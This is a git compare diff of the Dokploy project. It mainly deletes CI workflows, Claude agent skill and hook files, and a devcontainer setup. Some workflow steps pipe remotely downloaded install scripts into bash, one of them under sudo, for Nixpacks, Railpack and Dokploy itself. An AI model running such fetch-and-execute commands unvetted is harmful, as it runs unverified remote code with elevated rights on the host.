Compare commits

..

9 Commits

1276 changed files with 71352 additions and 876881 deletions
-22
View File
@@ -1,22 +0,0 @@
{
"worktree": {
"baseRef": "fresh"
},
"hooks": {
"PostToolUse": [
{
"matcher": "EnterWorktree",
"hooks": [
{
"type": "command",
"command": "\"$CLAUDE_PROJECT_DIR/scripts/install-worktree-deps.sh\""
},
{
"type": "command",
"command": "\"$CLAUDE_PROJECT_DIR/scripts/assign-worktree-port.sh\""
}
]
}
]
}
}
-55
View File
@@ -1,55 +0,0 @@
---
name: fix-issue
description: Implement a GitHub issue with reproduction and verification
allowed-tools: Bash, Edit, Write, Read, Glob, Grep, mcp__playwright__*, mcp__dokploy__*
---
The issue number is passed as $1.
## Instance
No instance is running yet — start your own, isolated to this worktree:
1. Check `apps/dokploy/.env` for `PORT` (assigned per-worktree already).
2. If nothing is listening on that port, start it: `pnpm dokploy:dev` in the
background, then poll `curl -s -o /dev/null -w '%{http_code}' http://localhost:$PORT`
until it answers (usually ~10-15s).
3. Use `http://localhost:$PORT` as the base URL for Playwright navigation.
Note: `mcp__dokploy__*` resolves its URL from
`$DOKPLOY_BASE_URL` once, at session startup — it cannot pick up a port
discovered mid-session. If those tools are unavailable or point at the wrong
instance, fall back to `curl`/`gh api` for API-level checks, or ask the user
to relaunch with `DOKPLOY_BASE_URL` exported first.
## Tools
- `mcp__dokploy__*` — the Dokploy API of the running instance. Use it to set up
state (create a project, an app, an env var) and to verify backend behavior.
Search for the tool you need; they are not all loaded upfront.
- `mcp__playwright__*` — the browser at $DOKPLOY_BASE_URL. Use it for anything
a user would see or click.
Pick by where the bug lives, not by convenience:
- Bug in the UI (rendering, forms, navigation, state) → reproduce in Playwright.
The API returning correct data proves nothing here.
- Bug in the API, deploy logic, or data → reproduce with the Dokploy MCP.
A green screenshot proves nothing here.
- Unclear → do both.
Use the MCP to reach the state you need quickly, then verify in the UI. Do not
click through ten screens to create a project the API can create in one call.
## Steps
1. Run `gh issue view $1` and read the full issue, including comments.
2. Reproduce the bug with the appropriate tool. If you cannot reproduce it,
comment on the issue explaining what you tried and STOP.
Do not implement anything.
3. Implement the fix. Keep the change minimal and scoped to the issue.
4. Run `pnpm test`, then re-run the same reproduction from step 2.
5. Only if both pass: commit and run `gh pr create`. The PR description must
include the before/after reproduction steps and reference the issue.
Never skip step 2. A fix you cannot reproduce and then verify is not a fix.
-42
View File
@@ -1,42 +0,0 @@
---
name: frontend-design
description: Create distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
license: Complete terms in LICENSE.txt
---
This skill guides creation of distinctive, production-grade frontend interfaces that avoid generic "AI slop" aesthetics. Implement real working code with exceptional attention to aesthetic details and creative choices.
The user provides frontend requirements: a component, page, application, or interface to build. They may include context about the purpose, audience, or technical constraints.
## Design Thinking
Before coding, understand the context and commit to a BOLD aesthetic direction:
- **Purpose**: What problem does this interface solve? Who uses it?
- **Tone**: Pick an extreme: brutally minimal, maximalist chaos, retro-futuristic, organic/natural, luxury/refined, playful/toy-like, editorial/magazine, brutalist/raw, art deco/geometric, soft/pastel, industrial/utilitarian, etc. There are so many flavors to choose from. Use these for inspiration but design one that is true to the aesthetic direction.
- **Constraints**: Technical requirements (framework, performance, accessibility).
- **Differentiation**: What makes this UNFORGETTABLE? What's the one thing someone will remember?
**CRITICAL**: Choose a clear conceptual direction and execute it with precision. Bold maximalism and refined minimalism both work - the key is intentionality, not intensity.
Then implement working code (HTML/CSS/JS, React, Vue, etc.) that is:
- Production-grade and functional
- Visually striking and memorable
- Cohesive with a clear aesthetic point-of-view
- Meticulously refined in every detail
## Frontend Aesthetics Guidelines
Focus on:
- **Typography**: Choose fonts that are beautiful, unique, and interesting. Avoid generic fonts like Arial and Inter; opt instead for distinctive choices that elevate the frontend's aesthetics; unexpected, characterful font choices. Pair a distinctive display font with a refined body font.
- **Color & Theme**: Commit to a cohesive aesthetic. Use CSS variables for consistency. Dominant colors with sharp accents outperform timid, evenly-distributed palettes.
- **Motion**: Use animations for effects and micro-interactions. Prioritize CSS-only solutions for HTML. Use Motion library for React when available. Focus on high-impact moments: one well-orchestrated page load with staggered reveals (animation-delay) creates more delight than scattered micro-interactions. Use scroll-triggering and hover states that surprise.
- **Spatial Composition**: Unexpected layouts. Asymmetry. Overlap. Diagonal flow. Grid-breaking elements. Generous negative space OR controlled density.
- **Backgrounds & Visual Details**: Create atmosphere and depth rather than defaulting to solid colors. Add contextual effects and textures that match the overall aesthetic. Apply creative forms like gradient meshes, noise textures, geometric patterns, layered transparencies, dramatic shadows, decorative borders, custom cursors, and grain overlays.
NEVER use generic AI-generated aesthetics like overused font families (Inter, Roboto, Arial, system fonts), cliched color schemes (particularly purple gradients on white backgrounds), predictable layouts and component patterns, and cookie-cutter design that lacks context-specific character.
Interpret creatively and make unexpected choices that feel genuinely designed for the context. No design should be the same. Vary between light and dark themes, different fonts, different aesthetics. NEVER converge on common choices (Space Grotesk, for example) across generations.
**IMPORTANT**: Match implementation complexity to the aesthetic vision. Maximalist designs need elaborate code with extensive animations and effects. Minimalist or refined designs need restraint, precision, and careful attention to spacing, typography, and subtle details. Elegance comes from executing the vision well.
Remember: Claude is capable of extraordinary creative work. Don't hold back, show what can truly be created when thinking outside the box and committing fully to a distinctive vision.
-21
View File
@@ -1,21 +0,0 @@
# Dockerfile for DevContainer
FROM node:24.4.0-bullseye-slim
# Install essential packages
RUN apt-get update && apt-get install -y \
curl \
bash \
git \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
# Set up PNPM
ENV PNPM_HOME="/pnpm"
ENV PATH="$PNPM_HOME:$PATH"
RUN corepack enable && corepack prepare pnpm@10.22.0 --activate
# Create workspace directory
WORKDIR /workspaces/dokploy
# Set up user permissions
USER node
-53
View File
@@ -1,53 +0,0 @@
{
"name": "Dokploy development container",
"build": {
"dockerfile": "Dockerfile",
"context": ".."
},
"features": {
"ghcr.io/devcontainers/features/docker-in-docker:2": {
"moby": true,
"version": "latest"
},
"ghcr.io/devcontainers/features/git:1": {
"ppa": true,
"version": "latest"
},
"ghcr.io/devcontainers/features/go:1": {
"version": "1.20"
}
},
"customizations": {
"vscode": {
"extensions": [
"ms-vscode.vscode-typescript-next",
"bradlc.vscode-tailwindcss",
"ms-vscode.vscode-json",
"biomejs.biome",
"golang.go",
"redhat.vscode-xml",
"github.vscode-github-actions",
"github.copilot",
"github.copilot-chat"
]
}
},
"forwardPorts": [3000, 5432, 6379],
"portsAttributes": {
"3000": {
"label": "Dokploy App",
"onAutoForward": "notify"
},
"5432": {
"label": "PostgreSQL",
"onAutoForward": "silent"
},
"6379": {
"label": "Redis",
"onAutoForward": "silent"
}
},
"remoteUser": "node",
"workspaceFolder": "/workspaces/dokploy",
"runArgs": ["--name", "dokploy-devcontainer"]
}
+3 -3
View File
@@ -6,9 +6,9 @@ Please describe in a short paragraph what this PR is about.
Before submitting this PR, please make sure that:
- [ ] You created a dedicated branch based on the `canary` branch.
- [ ] You have read the suggestions in the CONTRIBUTING.md file https://github.com/Dokploy/dokploy/blob/canary/CONTRIBUTING.md#pull-request
- [ ] You have tested this PR in your local instance. If you have not tested it yet, please do so before submitting. This helps avoid wasting maintainers' time reviewing code that has not been verified by you.
- [] You created a dedicated branch based on the `canary` branch.
- [] You have read the suggestions in the CONTRIBUTING.md file https://github.com/Dokploy/dokploy/blob/canary/CONTRIBUTING.md#pull-request
- [] You have tested this PR in your local instance.
## Issues related (if applicable)
Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.7 KiB

+6 -34
View File
@@ -13,17 +13,6 @@ jobs:
- name: Checkout repository
uses: actions/checkout@v3
- name: Set tag and version
id: meta-cloud
run: |
VERSION=$(jq -r .version apps/dokploy/package.json)
echo "version=$VERSION" >> $GITHUB_OUTPUT
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "tags=siumauricio/cloud:latest,siumauricio/cloud:${VERSION}" >> $GITHUB_OUTPUT
else
echo "tags=siumauricio/cloud:canary" >> $GITHUB_OUTPUT
fi
- name: Log in to Docker Hub
uses: docker/login-action@v2
with:
@@ -36,7 +25,8 @@ jobs:
context: .
file: ./Dockerfile.cloud
push: true
tags: ${{ steps.meta-cloud.outputs.tags }}
tags: |
siumauricio/cloud:${{ github.ref_name == 'main' && 'latest' || 'canary' }}
platforms: linux/amd64
build-args: |
NEXT_PUBLIC_UMAMI_HOST=${{ secrets.NEXT_PUBLIC_UMAMI_HOST }}
@@ -50,16 +40,6 @@ jobs:
- name: Checkout repository
uses: actions/checkout@v3
- name: Set tag and version
id: meta-schedule
run: |
VERSION=$(jq -r .version apps/dokploy/package.json)
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "tags=siumauricio/schedule:latest,siumauricio/schedule:${VERSION}" >> $GITHUB_OUTPUT
else
echo "tags=siumauricio/schedule:canary" >> $GITHUB_OUTPUT
fi
- name: Log in to Docker Hub
uses: docker/login-action@v2
with:
@@ -72,7 +52,8 @@ jobs:
context: .
file: ./Dockerfile.schedule
push: true
tags: ${{ steps.meta-schedule.outputs.tags }}
tags: |
siumauricio/schedule:${{ github.ref_name == 'main' && 'latest' || 'canary' }}
platforms: linux/amd64
build-and-push-server-image:
@@ -82,16 +63,6 @@ jobs:
- name: Checkout repository
uses: actions/checkout@v3
- name: Set tag and version
id: meta-server
run: |
VERSION=$(jq -r .version apps/dokploy/package.json)
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "tags=siumauricio/server:latest,siumauricio/server:${VERSION}" >> $GITHUB_OUTPUT
else
echo "tags=siumauricio/server:canary" >> $GITHUB_OUTPUT
fi
- name: Log in to Docker Hub
uses: docker/login-action@v2
with:
@@ -104,5 +75,6 @@ jobs:
context: .
file: ./Dockerfile.server
push: true
tags: ${{ steps.meta-server.outputs.tags }}
tags: |
siumauricio/server:${{ github.ref_name == 'main' && 'latest' || 'canary' }}
platforms: linux/amd64
-102
View File
@@ -138,9 +138,6 @@ jobs:
needs: [combine-manifests]
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
outputs:
version: ${{ steps.get_version.outputs.version }}
npm_version: ${{ steps.get_version.outputs.npm_version }}
steps:
- name: Checkout
uses: actions/checkout@v4
@@ -152,113 +149,14 @@ jobs:
run: |
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
echo "version=$VERSION" >> $GITHUB_OUTPUT
echo "npm_version=${VERSION#v}" >> $GITHUB_OUTPUT
- name: Fetch install.sh
run: |
curl -fsSL https://raw.githubusercontent.com/Dokploy/website/main/apps/website/public/install.sh -o install.sh
head -1 install.sh | grep -q '^#!' || { echo "Downloaded install.sh is not a shell script"; exit 1; }
grep -q 'DOKPLOY_VERSION' install.sh || { echo "install.sh no longer supports DOKPLOY_VERSION pinning"; exit 1; }
{ head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${{ steps.get_version.outputs.version }}}\""; tail -n +2 install.sh; } > install-pinned.sh
mv install-pinned.sh install.sh
- name: Create Release
uses: softprops/action-gh-release@v2
with:
tag_name: ${{ steps.get_version.outputs.version }}
target_commitish: ${{ github.sha }}
name: ${{ steps.get_version.outputs.version }}
generate_release_notes: true
draft: false
prerelease: false
files: install.sh
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
sync-version:
needs: [generate-release]
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- uses: pnpm/action-setup@v4
with:
version: 10.22.0
- uses: actions/setup-node@v4
with:
node-version: 24.4.0
cache: pnpm
- name: Generate OpenAPI specification
run: |
pnpm install --frozen-lockfile
pnpm generate:openapi
- name: Sync version to MCP repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
cd /tmp/mcp-repo
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json src/generated/openapi.json
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
- name: Sync version to CLI repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo
cd /tmp/cli-repo
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json ./openapi.json
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
- name: Sync version to SDK repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo
cd /tmp/sdk-repo
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json ./openapi.json
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
+2 -2
View File
@@ -11,7 +11,7 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v5
uses: actions/checkout@v4
- name: Setup biomeJs
uses: biomejs/setup-biome@v2
@@ -19,4 +19,4 @@ jobs:
- name: Run Biome formatter
run: biome format --write
- uses: autofix-ci/action@c5b2d67aa2274e7b5a18224e8171550871fc7e4a # v1.3.4
- uses: autofix-ci/action@635ffb0c9798bd160680f18fd73371e355b85f27 # v1.3.2
-49
View File
@@ -1,49 +0,0 @@
name: Hotfix Cherry-Pick
on:
pull_request_target:
types: [closed, labeled]
concurrency:
group: hotfix-to-main
cancel-in-progress: false
jobs:
cherry-pick:
if: github.event.pull_request.merged == true && contains(github.event.pull_request.labels.*.name, 'hotfix')
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- name: Checkout main
uses: actions/checkout@v4
with:
ref: main
fetch-depth: 0
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
- name: Cherry-pick fix to main
run: |
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
SHA="${{ github.event.pull_request.merge_commit_sha }}"
if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then
git cherry-pick -x -m 1 "$SHA"
else
git cherry-pick -x "$SHA"
fi
git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]"
git push origin main
- name: Sync cherry-pick back into canary
run: |
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git fetch origin canary main
git checkout -B canary origin/canary
if ! git merge origin/main -m "chore: sync hotfix from main into canary [skip ci]"; then
git merge --abort
echo "::error::Could not auto-sync the hotfix into canary (real conflict, not just history divergence). Merge main into canary manually to avoid a conflict on the next release PR."
exit 1
fi
git push origin canary
-28
View File
@@ -1,28 +0,0 @@
name: Hotfix Release
on:
workflow_dispatch:
concurrency:
group: hotfix-to-main
cancel-in-progress: false
jobs:
release:
runs-on: ubuntu-latest
steps:
- name: Checkout main
uses: actions/checkout@v4
with:
ref: main
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
- name: Bump patch version and push
run: |
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
CURRENT=$(node -p "require('./apps/dokploy/package.json').version")
NEW=$(echo "$CURRENT" | awk -F. -v OFS=. '{$NF++; print}')
sed -i "s/\"version\": \"$CURRENT\"/\"version\": \"$NEW\"/" apps/dokploy/package.json
git commit -am "chore: release ${NEW}"
git push origin main
+4 -30
View File
@@ -14,38 +14,12 @@ jobs:
matrix:
job: [build, test, typecheck]
steps:
- uses: actions/checkout@v5
- uses: pnpm/action-setup@v5
- uses: actions/setup-node@v5
- uses: actions/checkout@v4
- uses: pnpm/action-setup@v4
- uses: actions/setup-node@v4
with:
node-version: 24.4.0
node-version: 20.16.0
cache: "pnpm"
- name: Install Nixpacks
if: matrix.job == 'test'
run: |
export NIXPACKS_VERSION=1.41.0
curl -sSL https://nixpacks.com/install.sh | bash
echo "Nixpacks installed $NIXPACKS_VERSION"
- name: Install Railpack
if: matrix.job == 'test'
run: |
export RAILPACK_VERSION=0.15.4
curl -sSL https://railpack.com/install.sh | bash
echo "Railpack installed $RAILPACK_VERSION"
- name: Add build tools to PATH
if: matrix.job == 'test'
run: echo "$HOME/.local/bin" >> $GITHUB_PATH
- name: Initialize Docker Swarm
if: matrix.job == 'test'
run: |
docker swarm init
docker network create --driver overlay dokploy-network || true
echo "✅ Docker Swarm initialized"
- run: pnpm install --frozen-lockfile
- run: pnpm server:build
- run: pnpm ${{ matrix.job }}
-133
View File
@@ -1,133 +0,0 @@
name: Generate and Sync OpenAPI
on:
push:
branches:
- canary
- main
paths:
- 'apps/dokploy/server/api/routers/**'
- 'packages/server/src/services/**'
- 'packages/server/src/db/schema/**'
workflow_dispatch:
jobs:
generate-and-commit:
name: Generate OpenAPI and commit to Dokploy repo
runs-on: ubuntu-latest
steps:
- name: Checkout Dokploy repository
uses: actions/checkout@v4
with:
token: ${{ secrets.GITHUB_TOKEN }}
- uses: pnpm/action-setup@v4
- uses: actions/setup-node@v4
with:
node-version: 24.4.0
cache: "pnpm"
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Generate OpenAPI specification
run: |
pnpm generate:openapi
# Verifica que se generó correctamente
if [ ! -f openapi.json ]; then
echo "❌ openapi.json not found"
exit 1
fi
echo "✅ OpenAPI specification generated successfully"
- name: Sync to website repository
run: |
# Clona el repositorio de website
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/website.git website-repo
cd website-repo
# Copia el openapi.json al website (sobrescribe)
mkdir -p apps/docs/public
cp -f ../openapi.json apps/docs/public/openapi.json
# Configura git
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
# Agrega y commitea siempre
git add apps/docs/public/openapi.json
git commit -m "chore: sync OpenAPI specification [skip ci]" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
-m "Updated: $(date -u +'%Y-%m-%d %H:%M:%S UTC')" \
--allow-empty
git push
echo "✅ OpenAPI synced to website successfully"
- name: Sync to MCP repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git mcp-repo
cd mcp-repo
cp -f ../openapi.json openapi.json
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add openapi.json
git commit -m "chore: sync OpenAPI specification [skip ci]" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
-m "Updated: $(date -u +'%Y-%m-%d %H:%M:%S UTC')" \
--allow-empty
git push
echo "✅ OpenAPI synced to MCP repository successfully"
- name: Sync to CLI repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git cli-repo
cd cli-repo
cp -f ../openapi.json openapi.json
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add openapi.json
git commit -m "chore: sync OpenAPI specification [skip ci]" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
-m "Updated: $(date -u +'%Y-%m-%d %H:%M:%S UTC')" \
--allow-empty
git push
echo "✅ OpenAPI synced to CLI repository successfully"
- name: Sync to SDK repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git sdk-repo
cd sdk-repo
cp -f ../openapi.json openapi.json
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add openapi.json
git commit -m "chore: sync OpenAPI specification [skip ci]" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
-m "Updated: $(date -u +'%Y-%m-%d %H:%M:%S UTC')" \
--allow-empty
git push
echo "✅ OpenAPI synced to SDK repository successfully"
@@ -1,437 +0,0 @@
# Upgrade Integration Test
#
# Tests that Dokploy can upgrade from version A to version B while keeping
# user projects (Postgres, MongoDB, two web apps, one static site) alive.
#
# Generates upgrade pairs: each stable tag in [floor_version, target_version)
# is paired with target_version. If target_version is empty, the highest tag
# available on Docker Hub is used as the target.
#
# Only triggered manually to avoid burning Actions minutes.
name: Upgrade Integration Test
on:
workflow_dispatch:
inputs:
floor_version:
description: 'Oldest version tag to include in pairs (e.g. v0.29.4)'
required: false
default: 'v0.29.4'
target_version:
description: 'Target version to upgrade to (version B). Leave empty to use the highest available.'
required: false
default: ''
env:
DOKPLOY_IMAGE: dokploy/dokploy
DOKPLOY_SERVICE: dokploy
DOKPLOY_PORT: 3000
# ──────────────────────────────────────────────────────────────────────────────
jobs:
# ── 1. Build the matrix ─────────────────────────────────────────────────────
build-matrix:
name: Build upgrade pair matrix
runs-on: ubuntu-latest
outputs:
pairs: ${{ steps.pairs.outputs.pairs }}
steps:
- name: Generate pairs
id: pairs
env:
FLOOR: ${{ inputs.floor_version }}
TARGET: ${{ inputs.target_version }}
run: |
set -euo pipefail
# semver "a >= b" comparison helper (vX.Y.Z, strips leading v)
ge() {
[ "$(printf '%s\n%s\n' "${1#v}" "${2#v}" | sort -V | tail -n1)" = "${1#v}" ]
}
# Fetch all semver tags from Docker Hub (dokploy/dokploy)
ALL_TAGS=$(curl -fsSL \
"https://hub.docker.com/v2/repositories/dokploy/dokploy/tags?page_size=100" | \
jq -r '.results[].name' | \
grep -E '^v[0-9]+\.[0-9]+\.[0-9]+$' | \
sort -V)
echo "All tags found:"
echo "$ALL_TAGS"
# Target version (version B): explicit input, else highest available.
if [ -n "$TARGET" ]; then
TO="$TARGET"
echo "Using user-supplied target version: $TO"
else
TO=$(echo "$ALL_TAGS" | tail -n1)
echo "No target supplied; using highest available: $TO"
fi
# Floor semver components
FLOOR_CLEAN="${FLOOR#v}"
IFS='.' read -r F_MAJ F_MIN F_PAT <<< "$FLOOR_CLEAN"
# Each tag in [FLOOR, TO) → TO
PAIRS='[]'
while read -r TAG; do
[ -z "$TAG" ] && continue
# skip tags above-or-equal to the target (incl. the target itself)
ge "$TAG" "$TO" && continue
TAG_CLEAN="${TAG#v}"
IFS='.' read -r T_MAJ T_MIN T_PAT <<< "$TAG_CLEAN"
if [ "$T_MAJ" -gt "$F_MAJ" ] || \
{ [ "$T_MAJ" -eq "$F_MAJ" ] && [ "$T_MIN" -gt "$F_MIN" ]; } || \
{ [ "$T_MAJ" -eq "$F_MAJ" ] && [ "$T_MIN" -eq "$F_MIN" ] && [ "$T_PAT" -ge "$F_PAT" ]; }; then
PAIRS=$(echo "$PAIRS" | jq -c \
--arg f "$TAG" --arg t "$TO" \
'. + [{"from":$f,"to":$t}]')
fi
done <<< "$ALL_TAGS"
COUNT=$(echo "$PAIRS" | jq 'length')
echo "Total pairs: $COUNT"
echo "$PAIRS" | jq -r '.[] | " \(.from) → \(.to)"'
echo "pairs=$PAIRS" >> "$GITHUB_OUTPUT"
# ── 2. Run one upgrade test per pair ────────────────────────────────────────
upgrade-test:
name: "${{ matrix.pair.from }} → ${{ matrix.pair.to }}"
needs: build-matrix
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
pair: ${{ fromJSON(needs.build-matrix.outputs.pairs) }}
steps:
# ── Environment setup ──────────────────────────────────────────────────
- name: Free disk space
run: |
sudo rm -rf \
/usr/share/dotnet /opt/ghc /usr/local/share/boost \
"$AGENT_TOOLSDIRECTORY" /usr/local/lib/android \
/usr/local/share/chromium /opt/hostedtoolcache
docker system prune -af --volumes
df -h
# ── Install Dokploy directly at VERSION A ──────────────────────────────
# install.sh:
# • requires root (run via sudo bash)
# • respects DOKPLOY_VERSION → installs that tag directly
# (so we don't need a separate "downgrade" step that would risk
# running B's migrations on A's expected schema)
# • respects ADVERTISE_ADDR → skip the external IP lookup
# • initializes Docker Swarm + dokploy-network itself
- name: Install Dokploy at VERSION A (${{ matrix.pair.from }})
run: |
curl -fsSL https://dokploy.com/install.sh -o /tmp/install.sh
chmod +x /tmp/install.sh
sudo -E env \
DOKPLOY_VERSION="${{ matrix.pair.from }}" \
ADVERTISE_ADDR="127.0.0.1" \
bash /tmp/install.sh
- name: Wait for dokploy service to converge on ${{ matrix.pair.from }}
run: |
echo "Waiting for 'dokploy' Swarm service to reach 1/1..."
timeout 240 bash -c '
until docker service ls --filter name=dokploy \
--format "{{.Name}} {{.Replicas}}" \
| grep "^dokploy " | grep -q " 1/1"; do
sleep 4
done
'
docker service ls
echo "✅ Service running on ${{ matrix.pair.from }}"
- name: Wait for Dokploy API to accept requests
run: |
timeout 180 bash -c '
until curl -sf -o /dev/null \
"http://localhost:${{ env.DOKPLOY_PORT }}"; do
sleep 3
done
'
echo "✅ Dokploy API is up"
# ── Bootstrap admin user ───────────────────────────────────────────────
- name: Register first admin user
id: auth
run: |
COOKIE_JAR="$RUNNER_TEMP/dokploy-cookies.txt"
: > "$COOKIE_JAR"
chmod 600 "$COOKIE_JAR"
echo "cookie_jar=$COOKIE_JAR" >> "$GITHUB_OUTPUT"
# better-auth: sign-up/email (allowed only before any owner exists)
set -x
curl -sS -i -X POST \
"http://localhost:${{ env.DOKPLOY_PORT }}/api/auth/sign-up/email" \
-H "Content-Type: application/json" \
-c "$COOKIE_JAR" -b "$COOKIE_JAR" \
-d '{"name":"CI Admin","email":"ci@dokploy.test","password":"CiTest1234!"}' \
| tee /tmp/signup.out
set +x
# Verify we got a session cookie
if ! grep -qE '(better-auth|auth)\.session' "$COOKIE_JAR"; then
echo "⚠️ No session cookie matched expected name; jar contents:"
cat "$COOKIE_JAR"
fi
# ── Create test resources ──────────────────────────────────────────────
- name: Create project, databases and applications
id: create
env:
BASE: "http://localhost:${{ env.DOKPLOY_PORT }}"
COOKIE: ${{ steps.auth.outputs.cookie_jar }}
run: |
set -euo pipefail
# --- tRPC POST helper ---
trpc_mut() {
curl -sf -X POST "$BASE/api/trpc/$1" \
-H "Content-Type: application/json" \
-b "$COOKIE" -c "$COOKIE" \
-d "{\"json\":$2}"
}
# --- Project ---
PROJECT=$(trpc_mut project.create \
'{"name":"ci-upgrade-test","description":"CI upgrade integration test"}')
echo "project.create → $PROJECT"
# project.create in v0.29+ returns nested {project:{projectId}, environment:{environmentId}}
PROJECT_ID=$(echo "$PROJECT" | jq -r \
'.result.data.json.project.projectId // .result.data.json.projectId // empty')
ENV_ID=$(echo "$PROJECT" | jq -r \
'.result.data.json.environment.environmentId // empty')
if [ -z "$PROJECT_ID" ] || [ "$PROJECT_ID" = "null" ]; then
echo "❌ Could not extract projectId from project.create response:"
echo "$PROJECT" | jq .
exit 1
fi
if [ -z "$ENV_ID" ] || [ "$ENV_ID" = "null" ]; then
echo "❌ Could not extract environmentId — this version may not support environments."
echo " project.create response: $PROJECT"
exit 1
fi
echo "project_id=$PROJECT_ID" >> "$GITHUB_OUTPUT"
echo "env_id=$ENV_ID" >> "$GITHUB_OUTPUT"
echo "Detected PROJECT_ID=$PROJECT_ID ENV_ID=$ENV_ID"
# --- PostgreSQL 15 ---
PG=$(trpc_mut postgres.create \
"{\"name\":\"ci-pg\",\"appName\":\"ci-pg-db\",\
\"databaseName\":\"cidb\",\"databaseUser\":\"ciuser\",\
\"databasePassword\":\"CiPg1pass\",\
\"dockerImage\":\"postgres:15\",\"environmentId\":\"$ENV_ID\"}")
echo "postgres.create → $PG"
PG_ID=$(echo "$PG" | jq -r '.result.data.json.postgresId')
# deploy (not start) — deploy creates the Swarm service; start only
# scales an already-deployed service and 500s on a fresh resource.
trpc_mut postgres.deploy "{\"postgresId\":\"$PG_ID\"}" > /dev/null
echo "pg_id=$PG_ID" >> "$GITHUB_OUTPUT"
# --- MongoDB 7.0 ---
MG=$(trpc_mut mongo.create \
"{\"name\":\"ci-mongo\",\"appName\":\"ci-mongo-db\",\
\"databaseName\":\"cidb\",\"databaseUser\":\"ciuser\",\
\"databasePassword\":\"CiMg1pass\",\
\"dockerImage\":\"mongo:7.0\",\"environmentId\":\"$ENV_ID\"}")
echo "mongo.create → $MG"
MG_ID=$(echo "$MG" | jq -r '.result.data.json.mongoId')
trpc_mut mongo.deploy "{\"mongoId\":\"$MG_ID\"}" > /dev/null
echo "mg_id=$MG_ID" >> "$GITHUB_OUTPUT"
# --- Docker-image application helper ---
make_app() {
local DISP_NAME=$1 APP_NAME=$2 IMAGE=$3
APP=$(trpc_mut application.create \
"{\"name\":\"$DISP_NAME\",\"appName\":\"$APP_NAME\",\"environmentId\":\"$ENV_ID\"}")
APP_ID=$(echo "$APP" | jq -r '.result.data.json.applicationId')
trpc_mut application.saveDockerProvider \
"{\"applicationId\":\"$APP_ID\",\"dockerImage\":\"$IMAGE\",\
\"username\":\"\",\"password\":\"\",\"registryUrl\":\"\"}" \
> /dev/null
trpc_mut application.deploy "{\"applicationId\":\"$APP_ID\"}" \
> /dev/null
echo "$APP_ID"
}
# Static site (nginx)
APP_STATIC=$(make_app "ci-static" "ci-static-app" "nginx:alpine")
echo "app_static_id=$APP_STATIC" >> "$GITHUB_OUTPUT"
# Node.js hello-world (echo server image — small, no args needed)
APP_NODE=$(make_app "ci-node" "ci-node-app" "ealen/echo-server:latest")
